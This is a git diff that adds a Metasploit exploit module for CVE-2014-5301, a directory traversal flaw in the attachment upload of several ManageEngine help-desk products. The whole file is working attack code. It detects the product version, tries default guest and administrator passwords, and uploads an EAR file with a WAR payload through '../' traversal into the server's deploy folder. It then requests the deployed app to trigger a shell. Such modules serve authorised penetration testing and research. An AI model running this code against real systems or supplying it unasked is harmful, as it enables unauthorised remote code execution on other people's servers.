diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb new file mode 100644 index 0000000000..4f275937bc --- /dev/null +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -0,0 +1,437 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, + AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts + the upload does not handle correctly '../' sequences, which can be abused to write + in the file system. Authentication is needed to exploit this vulnerability, but this module + will attempt to login using the default credentials for the administrator and guest + accounts. Alternatively you can provide a pre-authenticated cookie or a username / password + combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All + versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, + SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this + module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been + been tested successfully in Windows and Linux on several versions. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5301'], + ['OSVDB', '116733'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', + { + 'attachment_path' => '/workorder/Attachment.jsp' + } + ], + [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ], + [ 'IT360 v8-v10.4', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 15 2014')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('JSESSIONID', + [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), + OptString.new('IAMAGENTTICKET', + [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', + [true, 'The username to login as', 'guest']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'guest']), + OptString.new('DOMAIN_NAME', + [false, 'Name of the domain to logon to']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) + version = [ 9999, 9999, 0, 'sd' ] + + if res && res.code == 200 + if res.body.to_s =~ /ManageEngine ServiceDesk/ + if res.body.to_s =~ /  \|  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ + output = $1 + version = [output[0].to_i, output[2].to_i, '0', 'sd'] + end + if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds + version[2] = $1.to_i + elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds + version[2] = $1.to_i + end + elsif res.body.to_s =~ /ManageEngine AssetExplorer/ + if res.body.to_s =~ /ManageEngine AssetExplorer  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || + res.body.to_s =~ /
version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ + output = $1 + version = [output[0].to_i, output[2].to_i, 0, 'ae'] + end + if res.body.to_s =~ /src="\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ + version[2] = $1.to_i + end + elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ + # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version + version[3] = 'sc' + if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ + # ... but get the build number if we can find it + version[2] = $1.to_i + end + elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ + # IT360 newer versions + version[3] = 'it' + end + elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ + # IT360 older versions, not a very good detection string but there is no alternative? + version[3] = 'it' + end + + version + end + + + def check + version = get_version + # TODO: put fixed version on the two ifs below once (if...) products are fixed + # sd was fixed on build 9031 + # ae and sc still not fixed + if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || + (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || + (version[3] == 'sc' && version[2] < 99999) + return Exploit::CheckCode::Appears + end + + if (version[2] > 9030 && version[3] == 'sd') || + (version[2] > 99999 && version[3] == 'ae') || + (version[2] > 99999 && version[3] == 'sc') + return Exploit::CheckCode::Safe + else + # An IT360 check always lands here, there is no way to get the version easily + return Exploit::CheckCode::Unknown + end + end + + + def authenticate_it360(port, path, username, password) + if datastore['DOMAIN_NAME'] == nil + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' + } + else + vars_post = { + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] + } + end + + res = send_request_cgi({ + 'rport' => port, + 'method' => 'POST', + 'uri' => normalize_uri(path), + 'vars_get' => { + 'service' => 'ServiceDesk', + 'furl' => '/', + 'timestamp' => Time.now.to_i + }, + 'vars_post' => vars_post + }) + + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" + return res.get_cookies + else + return nil + end + end + + + def get_it360_cookie_name + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("/"), + }) + cookie = res.get_cookies + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ + return $1 + else + return nil + end + end + + + def login_it360 + # Do we already have a valid cookie? If yes, just return that. + if datastore['IAMAGENTTICKET'] + cookie_name = get_it360_cookie_name + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' + return cookie + end + + # get the correct path, host and port + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/'), + }) + + if res && res.redirect? + uri = [ res.redirection.port, res.redirection.path ] + else + return nil + end + + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + + if cookie != nil + return cookie + elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil + # we've tried with the default guest password, now let's try with the default admin password + cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') + if cookie != nil + return cookie + else + # Try one more time with the default admin login for some versions + cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') + if cookie != nil + return cookie + end + end + end + + nil + end + + + # + # Authenticate and validate our session cookie. We need to submit credentials to + # j_security_check and then follow the redirect to HomePage.do to create a valid + # authenticated session. + # + def authenticate(cookie, username, password) + res = send_request_cgi!({ + 'method' => 'POST', + 'uri' => normalize_uri('/j_security_check;' + cookie.to_s.gsub(';', '')), + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => cookie, + 'vars_post' => { + 'j_username' => username, + 'j_password' => password, + 'logonDomainName' => datastore['DOMAIN_NAME'] + } + }) + if res && (res.code == 302 || (res.code == 200 && res.body.to_s =~ /redirectTo="\+'HomePage\.do';/)) + # sd and ae respond with 302 while sc responds with a 200 + return true + else + return false + end + end + + + def login + # Do we already have a valid cookie? If yes, just return that. + if datastore['JSESSIONID'] != nil + cookie = 'JSESSIONID=' + datastore['JSESSIONID'].to_s + ';' + return cookie + end + + # First we get a valid JSESSIONID to pass to authenticate() + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/') + }) + if res && res.code == 200 + cookie = res.get_cookies + authenticated = authenticate(cookie, datastore['USERNAME'], datastore['PASSWORD']) + if authenticated + return cookie + elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil + # we've tried with the default guest password, now let's try with the default admin password + authenticated = authenticate(cookie, 'administrator', 'administrator') + if authenticated + return cookie + else + # Try one more time with the default admin login for some versions + authenticated = authenticate(cookie, 'admin', 'admin') + if authenticated + return cookie + end + end + end + end + + nil + end + + + def send_multipart_request(cookie, payload_name, payload_str) + if payload_name =~ /\.ear/ + upload_path = '../../server/default/deploy' + else + upload_path = rand_text_alpha(4+rand(4)) + end + + post_data = Rex::MIME::Message.new + + if @my_target == targets[1] + # old style + post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") + post_data.add_part(payload_name, nil, nil, "form-data; name=\"filename\"") + post_data.add_part('', nil, nil, "form-data; name=\"vecPath\"") + post_data.add_part('', nil, nil, "form-data; name=\"vec\"") + post_data.add_part('AttachFile', nil, nil, "form-data; name=\"theSubmit\"") + post_data.add_part('WorkOrderForm', nil, nil, "form-data; name=\"formName\"") + post_data.add_part(upload_path, nil, nil, "form-data; name=\"component\"") + post_data.add_part('Attach', nil, nil, "form-data; name=\"ATTACH\"") + else + post_data.add_part(upload_path, nil, nil, "form-data; name=\"module\"") + post_data.add_part(payload_str, 'application/octet-stream', 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{payload_name}\"") + post_data.add_part('', nil, nil, "form-data; name=\"att_desc\"") + end + + data = post_data.to_s + res = send_request_cgi({ + 'uri' => normalize_uri(@my_target['attachment_path']), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => cookie + }) + return res + end + + + def pick_target + return target if target.name != 'Automatic' + + version = get_version + if (version[0] <= 7 && version[2] < 7016 && version[3] == 'sd') || + (version[0] == 4 && version[3] == 'ae') || + (version[3] == 'sc') + # These are all "old style" versions (sc is always old style) + return targets[1] + elsif version[3] == 'it' + return targets[3] + else + return targets[2] + end + end + + + def exploit + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable") + end + + print_status("#{peer} - Selecting target...") + @my_target = pick_target + print_status("#{peer} - Selected target #{@my_target.name}") + + if @my_target == targets[3] + cookie = login_it360 + else + cookie = login + end + + if cookie.nil? + fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to authenticate") + end + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file that will contain it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = "" + app_xml << '' + app_xml << "#{rand_text_alphanumeric(4 + rand(32 - 4))}" + app_xml << "#{war_app_base + ".war"}" + app_xml << "/#{ear_app_base}" + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + '.war', war_payload.to_s) + ear_file.add_file('META-INF/application.xml', app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.ear' + + if @my_target != targets[3] + # Linux doesn't like it when we traverse non existing directories, + # so let's create them by sending some random data before the EAR. + # (IT360 does not have a Linux version so we skip the bogus file for it) + print_status("#{peer} - Uploading bogus file...") + res = send_multipart_request(cookie, rand_text_alphanumeric(4 + rand(32 - 4)), rand_text_alphanumeric(4 + rand(32 - 4))) + if res && res.code != 200 + fail_with(Exploit::Failure::Unknown, "#{peer} - Bogus file upload failed") + end + end + + # Now send the actual payload + print_status("#{peer} - Uploading EAR file...") + res = send_multipart_request(cookie, ear_file_name, ear_file.pack) + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful") + else + fail_with(Exploit::Failure::Unknown, "#{peer} - EAR upload failed") + end + + 10.times do + select(nil, nil, nil, 2) + + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + res = send_request_cgi({ + 'uri' => normalize_uri(ear_app_base, war_app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + break if res.nil? + # Success! Triggered the payload, should have a shell incoming + break if res.code == 200 + end + end +end